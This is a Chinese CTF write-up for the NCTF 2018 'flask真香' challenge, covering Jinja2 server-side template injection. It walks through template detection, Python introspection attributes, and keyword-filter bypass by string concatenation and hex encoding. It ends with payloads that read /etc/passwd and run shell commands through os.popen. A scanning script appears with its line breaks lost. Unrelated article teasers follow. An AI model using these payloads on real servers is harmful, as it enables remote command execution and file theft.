[NCTF 2018]flask真香

          打开题目后没有提示框,尝试扫描后也没有什么结果,猜想是ssti。所以尝试寻找ssti的注入点并判断模版。

                                                                                                                                                           

模版判断方式:

在url地址中输入{7*7} 后发现不能识别执行。

                                                                                                                                                              尝试{{7*7}} ,执行成功,继续往下走注入{{7*'7'}},如果执行成功回显7777777说明是jinja2模板,如果回显是49就说明是Twig模板

                                                                                                                                                           

页面回显7777777,证明是jinjia2模板注入。接下来就可以利用漏洞尝试读取文件或者执行命令

  • 读取 /etc/passwdhttp://localhost:5000/?name={{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}
  • 执行命令(假设找到 os.system 子类):http://localhost:5000/?name={{''.__class__.__mro__[1].__subclasses__()[396]('ls').__call__()}}

常用类及语法:

__class__:表示实例对象所属的类。

__base__:类型对象的直接基类。

__bases__:类型对象的全部基类(以元组形式返回),通常实例对象没有此属性。

__mro__:一个由类组成的元组,在方法解析期间用于查找基类。

__subclasses__():返回该类的所有子类的列表。每个类都保留对其直接子类的弱引用。此方法返回仍然存在的所有这些引用的列表,并按定义顺序排序。

__init__:初始化类的构造函数,返回类型为function的方法。

__globals__:通过函数名.__globals__获取函数所在命名空间中可用的模块、方法和所有变量。

__dict__:包含类的静态函数、类函数、普通函数、全局变量以及一些内置属性的字典。

__getattribute__():存在于实例、类和函数中的__getattribute__魔术方法。实际上,当针对实例化的对象进行点操作(例如:a.xxx / a.xxx())时,都会自动调用__getattribute__方法。因此,我们可以通过这个方法直接访问实例、类和函数的属性。

__getitem__():调用字典中的键值,实际上是调用此魔术方法。例如,a['b'] 就是 a.__getitem__('b')。

__builtins__:内建名称空间,包含一些常用的内建函数。__builtins__与__builtin__的区别可以通过搜索引擎进一步了解。

__import__:动态加载类和函数,也可用于导入模块。常用于导入os模块,例如__import__('os').popen('ls').read()。

__str__():返回描述该对象的字符串,通常用于打印输出。

url_for:Flask框架中的一个方法,可用于获取__builtins__,且url_for.__globals__['__builtins__']包含current_app。

get_flashed_messages:Flask框架中的一个方法,可用于获取__builtins__,且get_flashed_messages.__globals__['__builtins__']包含current_app。

lipsum:Flask框架中的一个方法,可用于获取__builtins__,且lipsum.__globals__包含os模块(例如:{{lipsum.__globals__['os'].popen('ls').read()}})。

current_app:应用上下文的全局变量。

request:用于获取绕过字符串的参数,包括以下内容:

- request.args.x1:GET请求中的参数。
- request.values.x1:所有参数。
- request.cookies:cookies参数。
- request.headers:请求头参数。
- request.form.x1:POST请求中的表单参数(Content-Type为application/x-www-form-urlencoded或multipart/form-data)。
- request.data:POST请求中的数据(Content-Type为a/b)。
- request.json:POST请求中的JSON数据(Content-Type为application/json)。

config:当前应用的所有配置。还可以使用{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}来执行操作系统命令。

g:通过{{ g }}可以获取<flask.g of 'flask_ssti'>。

1)__class__用来查看变量所属的类,格式为变量.__class__

利用方式:

输入''.__class__
回显<class 'str'>

输入().__class__
回显<class 'tuple'>

输入{}.__class__
回显<class 'dict'>

输入[].__class__
回显<class 'list'>

(2)__bases__用来查看类的基类,格式为变量.__class__.__bases__

利用方式:

输入''.__class__.__bases__
回显(<class 'object'>,)

输入().__class__.__bases__
回显(<class 'object'>,)

输入{}.__class__.__bases__
回显(<class 'object'>,)

输入[].__class__.__bases__
回显(<class 'object'>,)

同时可结合数组,如:
输入 变量.__class__.__bases__[0]
可获得第一个基类                                                           

因此可以用{{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}读取所有子类。

尝试后显示500,说明其中有一些语句是被过滤的。

用fuzz字典爆破过滤内容,发现过滤内容有很多,不是很清楚怎么进一步确定具体的过滤字符,参考别人的wp得知过滤内容如下:

class
subclasses
config
args
request
open
eval
import

有过滤的绕过方式:

1. 基于字符串连接运算符

不同的模板引擎可能支持不同的字符串连接运算符:

  • Jinja2 (Python): 可以使用 + 运算符
  • Twig (PHP): 可以使用 ~ 运算符
  • ERB (Ruby): 可以使用 + 运算符
jinjia2(py):
{{ 'c' + 'at /etc/passwd' }}
Twig (PHP):
{{ 'c' ~ 'at /etc/passwd' }} 
ERB (Ruby):
<%= 'c' + 'at /etc/passwd' %>

2. 使用内置函数和方法

许多模板引擎提供了处理字符串的内置函数或方法,可以用来拼接字符串:

jinjia2(py):
{{ ''.join(['c', 'at', ' ', '/etc/passwd']) }}
Twig (PHP):
{{ ['c', 'at', ' ', '/etc/passwd']|join }}
ERB (Ruby):
<%= ['c', 'at', ' ', '/etc/passwd'].join %>

3. 十六进制或 Unicode 编码

如果某些字符被直接过滤,可以尝试使用十六进制或 Unicode 编码绕过:

jinjia2(py):
{{ '\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64' }}
Twig (PHP):
{{ '\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64' }}
ERB (Ruby):
<%= "\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64" %>

这题是有过滤构造payload,首先尝试字符串拼接的方式,因为这题的模版是jinjia2,所以连接符是“+”,构造payload:

{{()['__cla'+'ss__'].__base__['__subcl'+'asses__']()}}

  • ()['__cla'+'ss__']:

    • 通过字符串拼接 __class__ 得到 __class__,访问元组的 __class__ 属性,返回元组的类对象 <class 'tuple'>
  • .__base__:

    • 访问 <class 'tuple'>__base__ 属性,即基类,返回 <class 'object'>
  • ['__subcl'+'asses__']():

    • 通过字符串拼接 __subclasses__ 得到 __subclasses__,调用 __subclasses__() 方法,返回一个包含所有子类的列表。

构造payload的基本步骤:

  1. 获取所有子类(jinjia2)

{{ [].__class__.__base__.__subclasses__() }}
  1. 查找文件操作类

通过索引访问子类,找到文件操作类:

{{ [].__class__.__base__.__subclasses__()[index] }} 
  1. 读取文件内容

一旦确定文件操作类的位置,可以读取文件内容:

{{ [].__class__.__base__.__subclasses__()[index]['__init__'].__globals__['__builtins__']['open']('/etc/passwd').read() }}

接下来通常使用查找eval函数或者是os模块来执行我们需要的命令

eval函数与os模块的作用:

eval 函数:

可以直接执行传入的字符串作为代码。因此,找到 eval 函数意味着可以执行任意代码,这通常是最直接和强大的攻击方式。

os模块:

os 模块提供了执行系统命令、文件操作等功能,利用 os 模块可以执行系统命令、读取或写入文件。

可以用这个脚本找到eval函数的位置,但这题找不到eval。

import requestsurl = input("请输入 URL:")found = Falsefor i in range(500):try:# 构造 payloadpayload = "{{().__class__.__base__.__subclasses__()[" + str(i) + "].__init__.__globals__['__builtins__']}}"data = {"name": payload}# 发送 POST 请求response = requests.post(url, data=data)# 检查响应状态码if response.status_code == 200:print(f"Response for index {i}: {response.text}")# 检查响应内容是否包含 "eval"if "eval" in response.text:print(f"Found eval at index: {i}")found = Truebreak  # 找到后退出循环except Exception as e:print(f"Error at index {i}: {e}")if not found:print("Did not find eval in the first 500 subclasses.")

尝试找os模块

找到了它的位置,可以构造payload验证一下。

{{()['__cla'+'ss__'].__base__['__subcl'+'asses__']()[304]}}

验证说明正确,找到os模块后可以执行任意系统命令,

{{''['__cla'+'ss__'].__base__['__subcl'+'asses__']()[304].__init__.__globals__['pop'+'en']('cat /Th1s_is__F1114g').read()}}}

思路总结:

1、查看是否存在注入点,一般存在于:
  • 表单输入:检查应用程序中的所有表单,特别是那些将用户输入显示在页面上的表单字段。
  • URL 参数:观察 URL 中的参数,特别是那些用于动态生成内容的参数。
  • HTTP 头:某些应用程序会将 HTTP 头的信息(如 User-Agent、Referer)渲染到页面中。
  • Cookie:有时应用程序会将 Cookie 中的值渲染到页面中。
2、确定模板类型

例如:Jinja2 (Python)、 Freemarker (Java)、Twig (PHP)、ERB (Ruby)

3、初步构造payload,获取全局变量

(这个步骤注意查看页面,看是否存在过滤)

4、查找关键类、模块

eval、os模块等

5、根据查到的信息构造payload

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/851709.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【设计模式深度剖析】【7】【行为型】【观察者模式】

&#x1f448;️上一篇:中介者模式 设计模式-专栏&#x1f448;️ 文章目录 观察者模式英文原文直译如何理解&#xff1f; 观察者模式的角色类图代码示例 观察者模式的应用观察者模式的优点观察者模式的缺点观察者模式的使用场景 观察者模式 观察者模式&#xff08;Observer…

俄罗斯发迹史:起源于莫斯科公国,沙俄时期获取大量地盘

俄罗斯是一个不可战胜的民族&#xff1f;这句话的根据主要来自法国的拿破仑和德国的希特勒。 没办法&#xff0c;这两位带领的大军&#xff0c;基本上横扫了整个欧洲大陆&#xff0c;可每次进军俄国的领土&#xff0c;都是灰头土脸地回去的。因此俄罗斯便留下了“战斗民族”、…

敏捷项目管理工具排行榜:打造高效敏捷开发环境的利器

最常见的敏捷项目管理工具包括&#xff1a;Leangoo领歌、Trello、Asana、ClickUp等 在敏捷开发的世界里&#xff0c;项目管理工具如同指挥棒&#xff0c;引领着团队快速响应变化&#xff0c;持续交付价值。介绍几款业内领先的敏捷项目管理工具&#xff0c;帮组大家选择最适合自…

Jmeter接口请求之 :multipart/form-data 参数请求

参考教程 Jmeter压测之&#xff1a;multipart/form-data_jmeter form-data-CSDN博客 1、通过fiddler对接口进行抓取&#xff0c;接口信息如下图所示 2、获取到接口后 在fiddler右侧点击Inspectors-Raw中可以看到如下图所示信息&#xff0c;上半部分为默认请求头信息内容&#…

怎么使用手机远程访问电脑文件?(3种方法)

手机远程访问电脑文件 “有时&#xff0c;当我离开电脑时&#xff0c;仍然需要访问和使用桌面上的文件。是否有一种工具可以通过WiFi而不是USB连接&#xff0c;让我的手机远程访问电脑上的文件&#xff1f;如果有任何建议&#xff0c;我将非常感激&#xff01;” 除了希望手机…

Flink Sql:四种Join方式详解(基于flink1.15官方文档)

JOINs flink sql主要有四种连接方式&#xff0c;分别是Regular Joins、Interval Joins、Temporal Joins、lookup join 1、Regular Joins&#xff08;常规连接 &#xff09; 这种连接方式和hive sql中的join是一样的&#xff0c;包括inner join&#xff0c;left join&#xff…

visual studio下载安装

1、下载网址&#xff1a;下载 Visual Studio Tools - 免费安装 Windows、Mac、Linux 选择下载“社区” 2、下载好之后&#xff0c;安装在非系统盘上&#xff0c;在下面这个界面上&#xff0c;大家可以把自己需要的都勾选上&#xff0c;然后更改安装地址 安装完即可

python中列表结构在点云数据处理中用法

1、前言 Python中的列表&#xff08;list&#xff09;是一种可变的序列类型&#xff0c;用于存储集合数据。列表用途非常广泛&#xff0c;包括但不限于以下几个方面&#xff1a; 存储集合数据&#xff1a;列表用于存储一系列有序的元素&#xff0c;这些元素可以是任何数据类型&…

开源-Docker部署Cook菜谱工具

开源-Docker部署Cook菜谱工具 文章目录 开源-Docker部署Cook菜谱工具介绍资源列表基础环境一、安装Docker二、配置加速器三、查看Docker版本四、拉取cook镜像五、部署cook菜谱工具5.1、创建cook容器5.2、查看容器运行状态5.3、查看cook容器日志 六、访问cook菜谱服务6.1、访问c…

PRP和SGL 你了解吗?

一直想总结一下&#xff0c;PRP和SGL&#xff0c;网上也有不少资料&#xff0c;nvme官方spec只用了六七页解释了这俩货&#xff0c;还把寄存器如何操作也说明白了&#xff0c;作总结的目的是让自己对其更加深入了解 首先&#xff0c;SSD是用来保存数据&#xff0c;不是读就是写…

JavaWeb6 Tomcat+postman请求、响应

Web服务器 对HTTP协议操作进行封装&#xff0c;简化web程序开发 部署web项目&#xff0c;对外提供网上信息浏览服务 Tomcat 轻量级web服务器&#xff0c;支持servlet&#xff0c;jsp等少量javaEE规范 也被称为web容器&#xff0c;servlet容器 Springboot有内置Tomcat nginx…

制造业泄密如何防范?应用迅软DSE加密软件能解决哪些问题?

项目背景 某公司电子技术产品广泛应用于航天、航空、航海、遥测、导航、雷达、电子对抗、通信等高端领域。内部会有各种各样的研发核心数据流转在不同的岗位之间&#xff0c;这些核心数据一旦出现信息泄密或篡改数据的情况&#xff0c;将会给企业带来不可估量的经济损失&#…

cloudflare worker访问自己的网站显示521问题解决

写在前面&#xff1a;如果你的网站不是在80端口上运行的&#xff0c;开一下80端口可能就行了… 1.在cloudlare上添加域名 前文搭建了自己的DNS服务器&#xff08;DNS服务器搭建&#xff09;&#xff0c;现在想通过自己的DNS服务器解析域名&#xff0c;需要四步&#xff1a; 添…

基于FreeRTOS+STM32CubeMX+LCD1602+MCP6S21(SPI接口)的单通道模拟可编程增益放大器Proteus仿真

一、简介: MCP6S21是单通道模拟可 编程增益放大器(Programmable Gain Amplifiers, PGA)。它们可配置为输出 +1 V/V 到 +32 V/V 之间的增 益。串行接口也可以将 PGA 置为关断模式,以降低 功耗。这些 PGA 针对高速度、低失调电压和单电源操 作进行了优化,具有轨到轨输入和输…

使用ZIP包安装MySQL及配置教程

在本教程中&#xff0c;我们将指导您完成使用ZIP包安装MySQL的过程&#xff0c;并对配置文件进行必要的修改&#xff0c;以及解决可能遇到的问题。本示例以MySQL 5.7.44为例&#xff0c;但步骤同样适用于其他版本如MySQL 8.3.0等。请根据实际需要选择适合的版本下载&#xff1a…

【Nginx系列】分发算法

文章目录 一、分发算法介绍二、nginx集群默认算法三、nginx业务服务器状态四、nginx集群默认算法测试实验环境实验拓扑4.1、轮询算法4.2、基于权重4.3、基于ip_hash分发4.4、基于url的hash &#x1f308;你好呀&#xff01;我是 山顶风景独好 &#x1f388;欢迎踏入我的博客世界…

【启明智显方案分享】ESP32-S3与GPT AI融合的智能问答嵌入式设备应用解决方案

一、引言 随着物联网&#xff08;IoT&#xff09;和人工智能&#xff08;AI&#xff09;技术的飞速发展&#xff0c;嵌入式设备正逐渐变得智能化。本解决方案是启明智显通过结合ESP32-S3的低功耗、高性能特性和GPT&#xff08;Generative Pre-trained Transformer&#xff09;…

快手AI算法岗,50W年包羡慕到流泪

今天在脉脉上看到一个应届毕业生offer选择的帖子&#xff0c;简直羡慕到流泪。 刚毕业就拿到了两大公司的AI算法岗的offer&#xff0c;而且薪资待遇都非常不错&#xff0c;只能说&#xff1a;优秀的人到哪里都是榜样。 先看下这两个offer。 第一个是中信银行的AI算法。 年包…

改进YOLOv8 | 主干网络篇 | YOLOv8 更换主干网络之 StarNet | 《重写星辰⭐》

本改进已集成到 YOLOv8-Magic 框架。 论文地址:https://arxiv.org/abs/2403.19967 论文代码:https://github.com/ma-xu/Rewrite-the-Stars 最近的研究引起了人们对“星形运算”(按元素乘法)在网络设计中未被充分利用的潜力的关注。虽然直观的解释很多,但其应用的基本原理…

网络的下一次迭代:AVS 将为 Web2 带去 Web3 的信任机制

撰文&#xff1a;Sumanth Neppalli&#xff0c;Polygon Ventures 编译&#xff1a;Yangz&#xff0c;Techub News 本文来源香港Web3媒体&#xff1a;Techub News AVS &#xff08;主动验证服务&#xff09;将 Web2 的规模与 Web3 的信任机制相融合&#xff0c;开启了网络的下…